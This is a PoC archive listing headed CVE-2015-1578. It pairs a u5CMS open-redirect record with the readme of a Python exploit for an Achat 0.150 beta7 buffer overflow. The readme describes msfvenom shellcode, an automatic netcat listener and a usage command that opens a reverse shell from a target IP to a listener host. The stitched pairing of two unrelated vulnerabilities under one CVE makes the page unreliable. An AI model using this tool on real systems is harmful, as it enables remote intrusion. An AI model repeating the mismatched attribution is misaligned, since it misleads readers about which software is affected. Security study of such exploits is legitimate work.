Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2015-1578 PoC — u5CMS 开放重定向漏洞

Source
Associated Vulnerability
Title:u5CMS 开放重定向漏洞 (CVE-2015-1578)
Description:Multiple open redirect vulnerabilities in u5CMS before 3.9.4 allow remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the (1) pidvesa cookie to u5admin/pidvesa.php or (2) uri parameter to u5admin/meta2.php.
Description
This is a proof-of-concept exploit for CVE-2015-1578, a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet.
Readme
# CVE-2015-1578-PoC

## Overview

This is a proof-of-concept exploit for **CVE-2015-1578**, a buffer overflow vulnerability in **Achat 0.150 beta7** on Windows. Exploitation leads to remote code execution via a crafted UDP packet.

## Purpose

This PoC is intended to serve as a clean, minimal, and well-structured example of exploit development. It demonstrates:

- Dynamic shellcode generation via `msfvenom`
- Argument-based targeting and configuration
- Integrated listener setup
- Simple payload delivery over UDP

## Video Tutorial

[![Video Tutorial](https://img.youtube.com/vi/92V7QXwGbxE/maxresdefault.jpg)](https://youtu.be/92V7QXwGbxE)

## Dependencies

- Python 3
- `msfvenom` (part of the Metasploit Framework)
- `rlwrap` (for enhanced Netcat usability)

## Features

- Dynamically creates the Unicode-encoded payload using `msfvenom`
- Automatically starts a listener using `rlwrap nc`
- Accepts clean command-line arguments
- Fails gracefully if optional payload modules are missing

## Arguments

`-i <target_ip>` Target IP address (required)
`-l, --lhost <listener_ip>` Local host IP for reverse shell (required)
`-p, --lport <port>` Local port for reverse shell (required)
`--rport <port>` Remote UDP port on target (default: 9256)

## Usage Example

```
python3 chatter.py -i 10.10.10.74 -l 10.10.16.7 -p 9393
```

This will:
- Generate the payload with the provided LHOST and LPORT
- Launch a listener in a background thread
- Send the exploit payload over UDP to the target
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →